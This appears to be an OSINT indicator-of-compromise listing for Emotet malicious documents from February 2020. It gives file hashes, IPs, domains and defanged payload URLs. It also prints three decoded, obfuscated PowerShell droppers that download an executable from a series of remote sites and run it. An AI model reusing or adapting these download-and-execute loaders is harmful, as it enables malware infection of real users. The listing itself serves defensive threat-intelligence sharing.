Emotet_Doc_out_2020-02-06_12_17.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
3cf4f2f81bb4a7f059a10f7c5b9292ab0a7e6d1e80ea109fb770ec9b5e8629e3
db0ef3c8b454fdafffcae908a233db57e1edda05042541ef9c80ae84cc326c95
196a482bbef9a31648c4a07bb9484aa5fd21f8ac079e4ad027653de8592a8b6d
3de4426d1f301f0ece2c130b2a7ce4f34ac24df4d8809e801591d27903aee545
c35a3b840c12000e6e8934e36e36fb8afc2e31cfef1f65f86a65060576eba93d
085f3f78479f49361b13b8b1771f07fbd6344f14dbefcc03562ddb6611d05ebe
d78c414534b2c95eb600a9212c16d14e0799fdb0cc31c1029dfc9928f2affb24
b620abccd3e8230e4b19f6c7fc85989526cee7512c3ed3865c0ff14186a5bb24
b7cd83e727079c4ee865a90af8183564c2f00faa634684c801a15a37a7d111fa
6ce8037ede79b5758219b73a2ec4cc67731872b60410bf0aff7b7cbd8e9a5964
c4de268bd8a0e94e53faf9c4b83ba74d118ae9a7c0c60132be9fba8fac7371c1
984c765d0a5938e18bb222909864f187549413ed3643671893461f760e8be716
4da3454acbd16e098661adc2171e3bf19bc40f55e9a416617d6aaa1e573ccb17
1b3179901bbbdad1f6228375bb424b5b65dde27d91b73189d40f4693e24f7a08
5dc21f489ddf387367646ac983af66102558b441a1b06aa4c35817f15c6f2573
7be04e30c34923a389fa9d85af207d2316d79bbcba5ad96ec83d25c7b9e5df9d
097f4a94f067bd58834251fc4d169c7da5c44de34b5b903dfbcce4c3f0678dcd
d1561aa8b3c33a0f6940ca765add46bb7e26c940a386d7c0c3563d4a6e861e56
e24150361b03f16c2a7c455dcebbd547e4cdbcfca0072710452f46f32e70846e
6904f21300f6d81d8d8491308ce23ba0dde479d6b5e5a6dd8543b32cd2665b11
f23affdad69616effcc3ce4e19c57b4b7b2943403f4234f60f6530127e2825c9
045de13828cc296a9bd2040d413b0e99db7c93313c8949f0b1216230144cb0ec
d9dc1539e9737f695888aa50a2bb081d82c1135339ec48390c4c1c4cdb6ca808
6ba43a7d5121935bc2a176ebb4a1c3cecf323b94adc82675a9f7c2f5287d4bca
7fe4afe59b087bf542c67a12ac54ccb89eab281656477ed8bfc41ebab0e0135f
1f4ef7cd541e3cb75090e99547d597b681b9d48f0cc20b5ab27547888168985f
c7f76ee461d35aadc3240a27274c43d3865c5021d0613ddb6dcbfad036215111
d0ba1020328bfa59129c6d94b6bfd8979bd652574b24407bcfdadc75fcf28fb4
3765a52e4333b1474d5e52dbbb26985f797c794925ce8ab055e95c5c3e56a196
e0b5570c50eff9d3e8afc22762e280a757d339afd80a5d26451e7ad480bae359
cc58522c1e578706b659d9e2e3a5915c7b20168cb3b519a47b0f36f5d05a490f
212f39d26db38b2ab5e65d9a221685b0456e6a0431ca35bba893a102f56d4b0a
b52c4465e721cfa1cff52beb76fde33671c88c3351f8977204ebbd1dd1e14592
240077863d32a39c9334336fc051e5ec9fd6b850e17b1026f0845c7bc1b511b4
c4c3168d633d1f5d9f03de496852cdaa04bd6b018c97f372d2211ca3466209d4
e40ae581683c7d26c2b81507c68b398d606f97ef6a31fbdba6cea93104392fb3
ea07a4ce191369e5d03628c310b2f27a14c375e19abc689f537f9055d7241de0
4d247e8732257e1b99bf2451b1eee972df85e4d0e1be0f760a9c664a8de787a4


IPs:
104.18.52.138
104.18.53.138
117.34.80.111
123.206.119.229
156.67.212.219
170.10.161.21
203.124.10.231
31.22.7.102
35.184.245.68
39.96.186.121
47.74.55.174
50.87.17.150
52.193.123.151
66.34.24.94
67.225.179.26

Domains:
adamwilt15.com
ansu.or.jp
At
co9dance.com
elarabia.designlandwebsolutions.online
ET
marahiyohiyo.com
megafitsupplements.com
taswir.org
txblog.50cms.com
vfxcool.com
wqapp.50cms.com
wunpangbicycle.com
www.kaiwangdian.com
www.observatoriodatosabiertosgenero.org
yayasansekora.org
yeabeauty.top


hxxp://yeabeauty.top/0lgxkn/1x6-4c3-593/
hxxp://elarabia.designlandwebsolutions.online/wp-admin/cojve06f-0p5b4-4656/
hxxp://txblog.50cms.com/wp-admin/l0yg3j3l-pggp7p80-519/
hxxp://marahiyohiyo.com/wp-admin/xwTaSd/
hxxp://wqapp.50cms.com/addons/xrxUPWg/
hxxp://adamwilt15.com/wp-content/INy1yG/
hxxps://ansu.or.jp/wp-includes/Requests/wEX/
hxxps://megafitsupplements.com/wp-admin/V5f4VC/
hxxps://www.kaiwangdian.com/wp-includes/Hz/
hxxps://vfxcool.com/wp-includes/Pkw/
hxxp://wunpangbicycle.com/modules/0baGb456952/
hxxp://co9dance.com/rougelux/brS915/
hxxps://yayasansekora.org/includes/4StvL/
hxxp://taswir.org/wp-content/uploads/2020/02/SWx8315/
hxxp://www.observatoriodatosabiertosgenero.org/wp/E3k2695/


Decoded Base64 Powershell:
>��F�^,$Ewdfroueni='Thqxnkfu';
$Cvxabebaoussa = '739';
$Ruqtonlccwxm='Pthiqksxeisy';
$Stcidudlirkxv=$env:userprofile+'\'+$Cvxabebaoussa+'.exe';
$Hvvrxemlb='Qcfbevucd';
$Rdyppbobmy=&('new'+'-obje'+'ct') nET.weBClIENT;
$Wejixmrchmb='hxxp://yeabeauty.top/0lgxkn/1x6-4c3-593/
hxxp://elarabia.designlandwebsolutions.online/wp-admin/cojve06f-0p5b4-4656/
hxxp://txblog.50cms.com/wp-admin/l0yg3j3l-pggp7p80-519/
hxxp://marahiyohiyo.com/wp-admin/xwTaSd/
hxxp://wqapp.50cms.com/addons/xrxUPWg/'."spl`It"([char]42);
$Ylcwztqibqqg='Agpjherlc';
foreach($Ujwbxofs in $Wejixmrchmb){try{$Rdyppbobmy."dow`NLoADFI`lE"($Ujwbxofs, $Stcidudlirkxv);
$Mvzmxvthp='Pafsvttpav';
If ((.('Get-I'+'t'+'em') $Stcidudlirkxv)."LenG`Th" -ge 28579) {([wmiclass]'win32_Process')."c`REa`TE"($Stcidudlirkxv);
$Pftwtzmi='Myqvduwzfkq';
break;
$Dojysnanbbv='Cxnqkbmmstey'}}catch{}}$Dwgjnyqphjbu='Akxvylrz'>��F�^,$Gfhrmhssqqiig='Brtfwpcgbc';
$Pqbakcukiuq = '270';
$Imgzbodlh='Uryzatrdql';
$Zsubqyojqowzb=$env:userprofile+'\'+$Pqbakcukiuq+'.exe';
$Blbjezfpfmo='Kihrjxtm';
$Jbieyubw=&('n'+'ew'+'-ob'+'ject') nEt.webclIent;
$Dfyclvddslksz='hxxp://adamwilt15.com/wp-content/INy1yG/
hxxps://ansu.or.jp/wp-includes/Requests/wEX/
hxxps://megafitsupplements.com/wp-admin/V5f4VC/
hxxps://www.kaiwangdian.com/wp-includes/Hz/
hxxps://vfxcool.com/wp-includes/Pkw/'."Sp`lIt"([char]42);
$Ercfikdesy='Oafzmcpgh';
foreach($Wzqosgggswdd in $Dfyclvddslksz){try{$Jbieyubw."doWNlo`Adf`ile"($Wzqosgggswdd, $Zsubqyojqowzb);
$Vqkjmhopdua='Btwecivlieuh';
If ((.('Get'+'-Item') $Zsubqyojqowzb)."l`ENGTH" -ge 29657) {([wmiclass]'win32_Process')."cR`EATe"($Zsubqyojqowzb);
$Rwadbdhpyb='Eirlndmxsfldy';
break;
$Mlpczxcy='Wuptdxdllqcr'}}catch{}}$Dzmsllxft='Ejyrzbkksqix'>��F�^,$Ubtftscm='Wjgeospxnewqq';
$Rlqwbhsw = '676';
$Icmqjwjsetq='Rxkbehhfl';
$Cskwyvjzykawk=$env:userprofile+'\'+$Rlqwbhsw+'.exe';
$Rviwhdkblc='Zsoaanau';
$Fdwpugwvvoqw=.('new-ob'+'jec'+'t') net.WeBclieNt;
$Zgbpucdj='hxxp://wunpangbicycle.com/modules/0baGb456952/
hxxp://co9dance.com/rougelux/brS915/
hxxps://yayasansekora.org/includes/4StvL/
hxxp://taswir.org/wp-content/uploads/2020/02/SWx8315/
hxxp://www.observatoriodatosabiertosgenero.org/wp/E3k2695/'."sPL`it"([char]42);
$Swhlomkllxudy='Mlajoichwki';
foreach($Wyfsbtulczy in $Zgbpucdj){try{$Fdwpugwvvoqw."Dow`N`LOAdF`ilE"($Wyfsbtulczy, $Cskwyvjzykawk);
$Hrlohvcmp='Xrarmgwtzmn';
If ((&('G'+'et-Item') $Cskwyvjzykawk)."LENg`TH" -ge 22029) {([wmiclass]'win32_Process')."CRe`A`Te"($Cskwyvjzykawk);
$Nnqokafwdd='Gvdlaxpmlx';
break;
$Uqopqtupld='Myfuibnwx'}}catch{}}$Aqompnnz='Futmqfjje'